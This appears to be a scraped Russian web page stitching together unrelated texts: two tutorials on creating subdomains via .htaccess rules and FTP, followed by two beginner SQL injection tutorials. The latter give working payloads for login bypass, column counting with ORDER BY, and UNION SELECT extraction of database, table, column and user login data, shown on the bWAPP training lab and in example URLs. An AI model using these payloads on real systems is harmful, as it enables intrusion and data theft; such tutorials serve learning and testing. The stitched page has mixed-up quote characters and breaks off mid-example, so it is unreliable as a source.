Скл инъекции. Что такое инъекция SQL? Выявление наличия SQL инъекции

Скл инъекции. Что такое инъекция SQL? Выявление наличия SQL инъекции

В сети много платной и бесплатной информации о создании сайтов. А вот толковых материалов о том, как сделать поддомен (или, по-другому, субдомен) очень мало, и написаны они таким языком, что понять что-то простому веб-мастеру без образования программиста довольно сложно.

А ведь субдомен – вещь для некоторых сайтов просто незаменимая. На нем можно разместить как одностраничный сайт, так и установить туда WordPress, Joomla или любой другой движок.

На поддомене можно сделать страницу подписки, форум, интернет-магазин, хранилище файлов… Все зависит от ваших потребностей. Конечно, для продающей страницы (с описанием товара и кнопкой «Заказать») лучше купить отдельный домен. А вот для создания перечисленных мной выше ресурсов вполне можно сэкономить.

Прежде, чем браться за создание, обязательно убедитесь, что в пакете ваших услуг есть поддержка поддоменов. Если нет, надо эту услугу подключить, или купить более дорогой пакет. Конечно, это связано с дополнительными расходами. Однако, хостинги любят включать даже в минимальные наборы совершенно ненужный на момент создания сайта функционал. Так что, может, и обойдется, или будет не столь накладно. Например, на хостинге этого блога можно подключать неограниченное количество поддоменов и совершенно бесплатно.

Поддержка поддоменов на другом хостинге может обойтись, к примеру, всего в «лишних» 9 рублей в месяц (108 руб. в год).

Чем еще хорош субдомен, так это тем, что ему можно присвоить любое название, не боясь, что оно будет занято. Ведь адрес его будет выглядеть как poddomen.site.ru , где вместо «poddomen » будет ваше название, а вместо «site.ru » - адрес вашего основного домена. Так как домен принадлежит вам, вы можете присоединить к нему любое название, не боясь повторений. Ну, конечно, два своих поддомена вы одинаково назвать тоже не сможете.

Собственно, создание поддомена сводится всего к трем основным действиям:

1. Создание папки "poddomen " для poddomen.site.ru . Название папки должно совпадать с именем поддомена и находиться в корневой папке (часто public_html) основного сайта;

2. Добавить в файл ".htaccess" основного сайта сразу после строчки "#RewriteBase / " следующие три строки:

RewriteCond %{HTTP_HOST} ^(www.)?poddomen\.site\.ru$
RewriteCond %{REQUEST_URI} !/poddomen/
RewriteRule ^(.*)$ /poddomen/$1 [L]

Не буду подробно останавливаться на том, как загружать файлы на хостинг, тем более я уже описывал, . Вы это уже делали в автоматическом или ручном режиме, и конечно сможете повторить. Главная проблема (хотя это и не проблема вовсе) – создание папки.

И тут все зависит от хостинга. К сожалению не все и не везде одинаково расположено и носит одинаковые названия. Поэтому я постараюсь объяснить, куда вам нужно попасть, а вы смотрите по аналогии, что для этого нужно нажать.

На большинстве хостингах должен быть специальный раздел, который называется «Управление поддоменами » (или как-то похоже). Тогда можно зайти в него, нажать «Создать поддомен », заполнить предложенную форму и подтвердить свои намерения. После чего останется только загрузить в созданную папку файлы.

Но как быть, если такого раздела нет? На мой взгляд, тут все еще проще. (Описываемая ниже процедура создания поддомена "прокатит" не на любом хостинге. Проконсультируйтесь сначала со службой поддержки ). Нужно зайти в «Файловый менеджер », тут находится главная папка, содержащая все папки с вашими сайтами (или одним единственным сайтом).

В моем примере эта папка называется «domains », где-то она носит название «public », у вас может оказаться что-то еще. Главное, в ней должна находиться папка с адресом вашего сайта. И вот здесь (не в папке сайта, а рядышком) нужно создать новую папку, и назвать ее, как говорилось выше: придуманное вами название, точка, имя домена, точка, ru (org, net, com, ukr…).

Для добавления чего-либо в этот раздел нужно найти кнопку «Создать » (помните про аналогии, если что).

Нажать на нее и выбрать «Папку ».

В появившуюся форму вписать адрес поддомена по формуле, указанной выше, и подтвердить, нажав кнопку «ОК » или «Создать ». Вот, как-то так:

После этого папка должна появиться в общем списке, примерно как здесь:

У сайта на картинке выше есть два поддомена. Один является одностраничником с формой подписки (и таких субдоменов можно создать практически неограниченное количество), на другом установлен WordPress.

Вы же в созданную папку поместите то, что нужно вам. Однако, хочу напомнить, что если вы будете загружать одну или несколько собственноручно написанных (или сделанных с чужой помощью) страниц, то главная (или единственная) называться должна обязательно index.html . И именно она будет открываться при переходе по адресу поддомена. Если же в папку будет загружаться движок сайта, блога, форума или чего-то еще, то для него необходимо создать отдельно базу данных MySql .

А вообще, установка сайта в эту папку ничем не отличается от установки в основную. Для добавления одной или нескольких страниц можно воспользоваться формой загрузки файлов хостинга, предварительно открыв папку поддомена.

А вот движок сайта придется загружать или через FTP-клиент, или через автоматическую установку, которую предоставляют многие хостинги. Конечно, автоматически вы можете устанавливать только те движки, которые имеются там в наличии.

Надеюсь, теперь вы поняли, как сделать поддомен, и сможете создавать их для своих сайтов в любом количестве. А на случай, если перечисленные выше действия все-таки кажутся вам сложными, советую обратиться в техподдержку. В конце концов, они и существуют для того, чтобы помогать клиентам. Хорошая техподдержка сделает все за вас в считанные минуты.

Как сделать поддомен на сайте обновлено: Апрель 22, 2017 автором: Роман Ваховский


Как ни крути, а навыки в деле размещения файлов на хостинге необходимы практически всем. Тем более, если Вы непосредственно занимаетесь своим сайтом. Тема о том как создать поддомен на хостинге TimeWeb не нова, однако многие еще так и не научились его создавать.

Говорю это не по наслышке, т.к. занимаюсь фрилансом. И общаясь с большим количеством клиентов, которые совсем уж не стремятся постичь технические моменты бизнеса, в чем, конечно, они по своему правы, приходишь вместе с ними (кстати) к выводам, что какой-никакой, а базовые технические навыки по обслуживанию своего ресурса все же необходимы.

Хотя бы для того, чтобы понимать, о чем во многих ситуациях идет речь, а также для управления своими ресурсами.

В этой статье:

Как раз в этом небольшом посте я расскажу Вам, как создать поддомен на . И прочитав, а также применив все то, что я напишу ниже, Вы без труда сможете создать поддомен на хостинге и даже не один раз.

С хостингом TimeWeb я знаком уже не один год. Когда я разместил свои первые файлы на этом хостинге, он был довольно крутым сайтом, и даже был в тренде.

Однако, время шло, появлялось много хороших и не очень отзывов, но как по мне, то я за долгое время не испытывал и не испытываю каких-либо проблем с этим хостингом.

Поэтому, в этом небольшом вступлении просто хочу порекомендовать его Вам в качестве надежной площадки для Ваших ресурсов.

Зачем надо создать поддомен

Например для того, чтобы многие сервисы пропускали Ваш сайт для различных регистраций и рекламных компаний.

Приведу лишь пример с тем же YouTube, в аккаунте которого есть возможность привязать свой сайт, а затем при публикации очередного видео, использовать свой сайт в качестве внешней ссылки в созданном Вами видео.

В YouTube Ваш сайт привязывается через Google-вебмастер. И после того, как Вы подтвердите его, Вы смело можете рекламировать его в своих роликах.

Если Вы создадите на сайте отдельную папку и в ней, например, разместите какой либо одностраничник, который затем захотите рекламировать в своих роликах, то проблем также не возникнет.

Проблемы возникнут , когда Вы захотите воспользоваться еще одним видом рекламы YouTube - через рекламную сеть GoogleAdwords, т.к. данная сеть принимает лишь отдельные домены. Т.е. ни папки, ни отдельные файлы на Вашем сайте, а именно домены 2-го или 3-го уровня.

Да, конечно, Вы можете создать еще один домен, туда разместить свой одностраничник и дальше его рекламировать в роликах. И это правильно.

Но что, если Вы не хотите этого делать, а продвигать именно свой сайт? Вот тут как раз и придет на помощь созданный Вами поддомен на Вашем основном сайте.

А с учетом того, что таких поддоменов Вы можете создать большое количество, то и проблемы с рекламой одностраничников через рекламную сеть GoogleAdwords, исчезают.

Теперь непосредственно о том, как создать поддомен на хостинге .

Как создать поддомен

Есть некоторые особенности и последовательности, которые необходимо выполнить именно так, как я напишу ниже.

Инструменты, которые я буду использовать, это - личный кабинет хостинга TimeWeb, а также программу Adobe Dreamweaver СС 2015, которая понадобиться для соединения с файлами Вашего сайта по протоколу FTP и внесения некоторых изменений в структуру сайта.

Первое действие - заходите в личный кабинет хостинга для создания поддомена. Для этого:

После входа в личный кабинет выбираете в левом меню раздел «Домены и поддомены».

Находите Ваш сайт, на котором Вы хотите создать поддомен, в моем случае это - fundamentonline.ru, и нажимаете на значок «Добавить поддомен», как на картинке ниже.

Всё, поддомен Вы создали. У меня получилось вот так:

Больше на данном сайте делать нечего, т.к. все необходимые данные Вы получили и теперь основная работа будет происходить в программе Adobe Dreamweaver.

Создаем поддомен в Dreamweaver CC 2015

Кстати, программу Вы можете использовать абсолютно любую.

Во-первых , можете использовать сам хостинг и там продолжать те действия, которые мы будем делать. Для этого, на хостинге переходите в раздел «Менеджер файлов» и далее - в папку своего сайта.

Во-вторых , Вы можете использовать, например, такую программу, как «FileZilla FTP Client» или любую другую подобную.

Суть здесь не меняется. Ваша задача, - добраться до файлов Вашего сайта, где Вы будете производить необходимые операции.

Разница этих разных способов лишь в том, что при использовании программ, Вам необходимы также данные доступа по FTP протоколу. На хостинге TimeWeb Вы без доступа по FTP можете сразу редактировать свои файлы.

Доступ по FTP для использования в программах Вы можете узнать 2-мя способами.

Первый - найти письмо, которое Вам пришло от хостинга при регистрации Вашего аккаунта. В нем как раз и указаны данные для доступа к файлам по FTP протоколу.

Второй - в левой части меню личного кабинета, в самом низу, найти кнопку «Вернуться к старой панели». Нажать на нее и в левой части сайта будут разные служебные данные. Необходимо найти строчку «Сервер» и как раз напротив нее будет указан используемый Вами сервер, а в скобках IP адрес.

Он Вам и нужен, т.к. для доступа по FTP на хостинге TimeWeb используется либо имя самого хостинга, либо этот самый IP.

Имя хоста на TimeWeb по умолчанию - это «watson.timeweb.ru» (без кавычек). У меня, как Вы видите это - MOLLY, т.к. я использую на хостинге еще и smtp сервер. У Вас должно быть имя именно «watson».

Итак, для доступа по FTP в программе Adobe Dreamweaver у Вас должны быть следующие данные:

  1. Имя хоста: в моем случае это - 92.53.98.90
  2. Логин, который Вы используете для входа в личный кабинет хостинга.
  3. Пароль, который Вы используете для входа в личный кабинет хостинга.

Создание поддомена в программе

Если Вы также как и я, используете программу Adobe Dreamweaver СС 2015, то для того, чтобы соединиться с Вашим сайтом необходимо сделать следующее:

1. Открываете программу и создаете новый сайт. Для этого переходите в меню «Веб-Сайт» (в главном меню программы) и нажимаете на подменю «Новый сайт»

Некоторое пояснение: Сейчас Вы через программу Adobe Dreamweaver подсоединяетесь к Вашему основному сайту. Когда подключитесь, тогда и будите дальше создавать поддомен на существующем сайте.

2. В открывшемся окне у Вас появятся окно с выделенным слева пунктом «Веб-сайт». В правой части окна пишите имя Вашего сайта, например, «Мой сайт» и чуть ниже указываете путь до папки, в которой будут храниться все файлы Вашего сайта.

Для хранения файлов сайта на компьютере, делаете следующее… В удобном для Вас месте на компьютере создаете папку, а в окне программы - нажимаете на значок папки (справа от второго поля). Далее, в открывшемся окне, выбираете созданную Вами папку.

Это может быть любая папка на Вашем компьютере. Желательно, конечно, чтобы Вы создали эту папку с именем, которое Вам будет знакомо и которую, в дальнейшем, Вы смогли бы легко найти. Например, как в моем случае «H:\ - OpenServer - domains - youtube-roliki.loc - poddomen»

3. Переходим в следующий пункт «Серверы», где Вы как раз и подключитесь к своему сайту по FTP протоколу. В этом окне нажимаете на «плюсик», который расположен внизу (смотрите на рисунок) .

Вам откроется следующее окно, в котором:

  • Вписываете имя сервера. Например «Удаленный сайт».
  • Подключение с помощью FTP.
  • В строку «FTP адрес» пишите имя хоста.
  • Заполняете поля «Имя польз.» и «Пароль».
  • И, наконец, в строке «URL-адрес» вводите адрес Вашего сайта.

После заполнения указанных выше полей, нажимаете на кнопку «Тест», чтобы проверить правильность введенных Вами данных и чтобы программа Adobe Dreamweaver проверила соединение.

При правильно введенных данных у Вас появиться вот такое окно:

Нажимаете на кнопку «ОК», а затем на кнопку «Сохранить». Справа, в окне серверов у Вас появиться новая запись.

Теперь необходимо пройти на Ваш сайт для копирования всех Вашим файлов с хостинга в Вашу только что созданную папку на компьютере.

6. Для этого переходите в правое окно программы, где как раз будет указана Ваша папка, и нажимаете на пункт «Удаленный сервер», который указан в раскрывающимся меню на рисунке.

Так как в настройках соединения с хостингом Вы не указали точный корневой каталог Вашего сайта (и это, в принципе, необязательно), то у Вас откроется дерево папок со всеми файлами на Вашем хостинге. Например, как у меня.

Все файлы на Вашем сайте расположены в папке «public_html» и именно в ней Вы будете создавать поддомен на TimeWeb.

Приступаем к созданию поддомена

Для начала скопируйте свой сайт в созданную Вами папку на компьютере. Делается это очень просто.

Выделяете все папки и файлы, которые находятся у Вас в папке «public_html» и в окне удаленного сервера нажимаете на стрелку «вниз».

Все файлы с удаленного сервера скопируются на ваш компьютер именно в ту папку, которую Вы создали.

При переходе снова на локальный сервер, т.е. в Вашу локальную папку, Вы можете уже наблюдать скопированные Вами файлы. Например, как у меня.

1. Создаем папку Вашего поддомена

Теперь в папке на локальном сервере (на Вашем компьютере) создаете папку по имени Вашего поддомена, который Вы создали в личном кабинете хостинга TimeWeb.

В моем случае это папка «less-blog».

Для создания этой папке, - нажимаете на папку «public_html» правой кнопкой мыши и создаете папку.

2. Подключаем поддомен к хостингу

Создайте этот файл прямо как на примере, без расширений - т.е. ставите впереди точку и далее htaccess.

Двойным щелчком левой кнопки мыши открываете данный файл в Adobe Dreamweaver и в режиме кода вставляете следующий код.

RewriteEngine On
#RewriteBase /
RewriteCond %{HTTP_HOST} ^(www.)?имя_поддомена\.имя_сайта\.(com|ru)$
RewriteCond %{REQUEST_URI} !/имя_поддомена/
RewriteRule ^(.*)$ /имя_поддомена/$1 [L]

Редактируете код следующим образом:

  • Вместо «имя_поддомена» пишите название Вашего поддомена.
  • Вместо «имя_сайта» пишите название Вашего сайта без доменной зоны (т.е. без.ru, .com).

Доменная зона как раз пишется в скобках, и если у Вас доменная зона отличается от «com» или «ru», то соответственно вставляете в скобки свое значение вместо, например, com.

Мой пример выглядит так:

После этого сохраните файл «.htaccess» и перейдите в папку Вашего поддомена для того, что проверить Ваш поддомен на работоспособность.

Для этого, в папке поддомена (в моем случае это «less-blog») создайте файл «index.html» и напишите в нем что-нибудь… Например, «Привет, мир!»

После этого сохраните все файлы и перенесите папку Вашего поддомена на удаленный сервер.

Делается это по аналогии с тем, как Вы копировали удаленный файлы на компьютер. Только в данном случае теперь нажимайте на соседнюю кнопку, которая показывает «вверх».

Т.е. выделяете папку поддомена и копируете ее на удаленный сервер.

3. Проверяете созданный поддомен в браузере

Последнее, что необходимо сделать, это проверить созданный Вами поддомен в браузере.

Для этого открываете свой браузер и вводите конструкцию вида:

Ваш_поддомен.ваш_домен.доменная_зона

Если все предыдущие пункты Вы сделали правильно, то в Вашем браузере Вы уже должны наблюдать надпись «Пример, мир!».

Всё, Вы создали свой поддомен и разместили на нем свои файлы.

Теперь, если захотите создать, например, одностраничник, и разместить его на поддомене своего сайта, то Вы уже знаете, как это сделать.

На самом деле, если Вы делали в точности так, как я продемонстрировал выше, то Вы научились не просто создавать поддомен, но и целый сайт вообще - через удобную и полезную программу Adobe Dreamweaver.

Если хотите более подробно познакомиться с данной программой, то лучше всего переходите на мой канал YouTube.

Тем более, что начиная с версии - CC 2015 подключен еще и bootstrap.

Грандиозных Вам успехов и эффективного управления своими проектами!

P.S. Подписывайтесь на обновления блога

С уважением, Андрей Аверьков

SQL-инъекция для новичков

SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"

Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").

Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.

Предположим, что вместо Demo пользователь ввёл такую строку:

Demo" --

Тогда запрос к базе данных будет иметь вид:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"

Две чёрточки () - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"

Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"

В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

Т.е. вместо

Demo" --

можно было бы ввести

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo" OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo") #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1

Ошибка в MSSQL ASPX:

Server Error in "/" Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error "80040e14"

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Практический пример простой SQL-инъекции

Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

Выбираем баг «SQL Injection (GET/Search) »/

От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

Iron Man"

Результат

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1

Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

Iron Man"

Результат

Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

Iron Man" OR 1 #

Результат:

Определение количества столбцов таблицы с помощью ORDER BY

Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #

Iron Man" AND 0 ORDER BY 8 #

получен следующий результат:

Error: Unknown column "8" in "order clause"

Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Объединение запросов с UNION SELECT

UNION позволяет объединять результаты в один от нескольких выражений SELECT .

Конструируем наш запрос с UNION :

Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.

Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :

Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

Ввод для получения имени базы данных:

Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

База данных INFORMATION_SCHEMA

В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

  • SELECT и FROM - уже знакомые элементы языка запросов к базам данных;
  • SCHEMA_NAME - имя запрашиваемого столбца;
  • INFORMATION_SCHEMA - имя базы данных, к которой делается запрос;
  • SCHEMATA - имя таблицы, в которой ищется запрашиваемый столбец.

Получение списка всех баз данных на сервере через SQL-инъекцию

Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

Для второй строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Для третьей строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Для четвёртой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

Желаемый запрос:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

Где вместо tablenamehere нужно подставлять имя таблицы.

Например, нами получены следующий имена присутствующих в базе данных таблиц:

  • heroes
  • movies
  • users
  • visitors

Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

Применительно к нашей уязвимости получаем ввод:

Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #

Здесь также можно применять LIMIT .

Извлечение данных из таблицы с помощью SQL-инъекции

Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

Заключение по первой части

В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.

Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.

SQL инъекция (SQL injection ) - уязвимость которая возникает при недостаточной проверке и обработке данных , которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.

Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний. Использование этой уязвимости дает путь к большим возможностям таким как:

  • кража данных - 80%;
  • отказ в обслуживании - 10 процентов;
  • подмена или уничтожение данных - 2-3%;
  • другие случаи и намерения.

Также существуют различные программы по тестированию безопасности сайта на всякие JS и SQL инъекции.

Подробное объяснение

В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии между и базой данных MySQL. Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

CREATE DATABASE `news`; USE `news`; # # таблица новостей # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем некоторые данные # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`="news text"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # таблица пользователей # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем несколько пользователей, одного с правами админа, другого простого # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1"; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет, как результат

«You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ at line 1»

или результат

http://test.com/index.php?id=2-1

при наличии уязвимости должен выдать результат, аналогичный

http://test.com/index.php?id=1 .

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE. Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

количество «null» должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

Например:

